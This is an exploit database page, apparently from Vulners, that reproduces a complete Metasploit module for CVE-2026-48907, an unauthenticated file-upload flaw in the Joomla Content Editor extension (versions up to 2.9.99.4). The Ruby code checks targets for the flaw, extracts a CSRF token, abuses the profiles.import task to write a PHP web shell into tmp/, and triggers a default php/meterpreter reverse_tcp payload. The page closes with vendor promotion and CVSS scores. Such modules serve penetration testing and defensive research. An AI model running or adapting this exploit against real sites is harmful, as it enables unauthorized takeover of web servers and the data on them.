Lucene search
+L

Joomla Content Editor Unauthenticated File Upload RCE

🗓️ 05 Jun 2026 00:00:00Reported by ispyispyispy, David Jardin, Uwe FlottemeschType 
metasploit
 metasploit
🔗 www.rapid7.com👁 9 Views

JCE up to 2.9.99.4 unauthenticated profile import writes PHP web shell enabling RCE.

Related
Code
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Joomla Content Editor Unauthenticated File Upload RCE',
        'Description' => %q{
          This module exploits an unauthenticated arbitrary profile creation vulnerability in the JCE
          (Joomla Content Editor) extension for Joomla! (CVE-2026-48907). The profiles.import task fails to enforce
          authentication, allowing the import of a crafted profile that is directly written to disk as a PHP web shell.
          This results in remote code execution, provided that the tmp/ directory is not explicitly restricted.

          JCE versions up to and including 2.9.99.4 are affected.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'ispyispyispy', # msf module
          'David Jardin', # discovery
          'Uwe Flottemesch' # discovery
        ],
        'References' => [
          ['CVE', '2026-48907'],
          ['GHSA', 'c3f5-4g7f-qjqj'],
          ['URL', 'https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites']
        ],
        'DisclosureDate' => '2026-06-05',
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Joomla Content Editor (Joomla!)', {}]
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Joomla!', '/']),
      OptString.new('FILENAME', [false, 'The filename for the uploaded payload (default: random)'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'components', 'com_jce', 'jce.php')
    )

    return CheckCode::Unknown('Could not connect to web service.') unless res
    return CheckCode::Safe('JCE component does not appear to be installed.') unless res.code != 404
    return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}.") unless res.code == 200

    # We could also check with .php extension, but i'd rather not trigger anything by an accident.
    filename = "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}#{['.jpg', '.png'].sample}"

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'tmp', filename)
    )

    return CheckCode::Safe('Target does not allow direct access of uploaded files.') unless res && res.code != 403

    version = extract_jce_version

    return CheckCode::Detected('Exploit conditions are met. Target is likely vulnerable unless patched.') unless version

    version = Rex::Version.new(version)

    return CheckCode::Safe("JCE version #{version} detected.") unless version <= Rex::Version.new('2.9.99.4')

    CheckCode::Appears("JCE version #{version} detected.")
  end

  def exploit
    payload_filename = datastore['FILENAME'] || "#{Rex::Text.rand_text_alphanumeric(rand(8..12))}.php"

    fail_with(Failure::BadConfig, 'FILENAME must end with valid PHP file extension') unless payload_filename.match?(/\.(php[2-7]?|pht(?:ml)?)$/i)

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true
    )

    fail_with(Failure::Unreachable, 'Could not connect to web service') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200

    csrf_token = extract_csrf_token(res.body)
    fail_with(Failure::UnexpectedReply, 'Failed to extract CSRF token') unless csrf_token
    vprint_status("Extracted CSRF token: #{csrf_token}")

    print_status("Uploading #{payload_filename}")
    res = upload_profile(payload_filename, payload.encoded, csrf_token)

    fail_with(Failure::Unreachable, 'No response received for the profile upload request') unless res
    fail_with(Failure::UnexpectedReply, "Upload failed with HTTP response code: #{res.code}") unless res.code == 200

    register_files_for_cleanup(payload_filename)

    payload_uri = normalize_uri(target_uri.path, 'tmp', payload_filename)
    print_status("Triggering #{payload_uri}")

    send_request_cgi({ 'method' => 'GET', 'uri' => payload_uri }, 5)
  end

  def extract_jce_version
    uri = normalize_uri(
      target_uri.path, 'media', 'com_jce', 'editor', 'extensions',
      'popups', 'jcemediabox', 'js', 'jcemediabox.js'
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => uri,
      'vars_get' => { 'v' => Time.now.to_i } # cache buster
    )

    return unless res&.code == 200

    match = res.body.match(/jce\s*-\s*([\d.]+)/)
    match[1] if match
  end

  def extract_csrf_token(body)
    match = body.match(/"csrf\.token"\s*:\s*"([a-f0-9]{32})"/)
    return match[1] if match

    match = body.match(/<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"/i)
    match[1] if match
  end

  def upload_profile(filename, content, csrf_token)
    mime = Rex::MIME::Message.new
    mime.add_part(content, 'application/xml', 'binary', "form-data; name=\"profile_file\"; filename=\"#{filename}\"")
    mime.add_part('profiles.import', nil, nil, 'form-data; name="task"')
    mime.add_part('1', nil, nil, "form-data; name=\"#{csrf_token}\"")

    data = mime.to_s

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => { 'option' => 'com_jce' },
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => data
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2026 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8
CVSS 410
EPSS0.6883
SSVC
9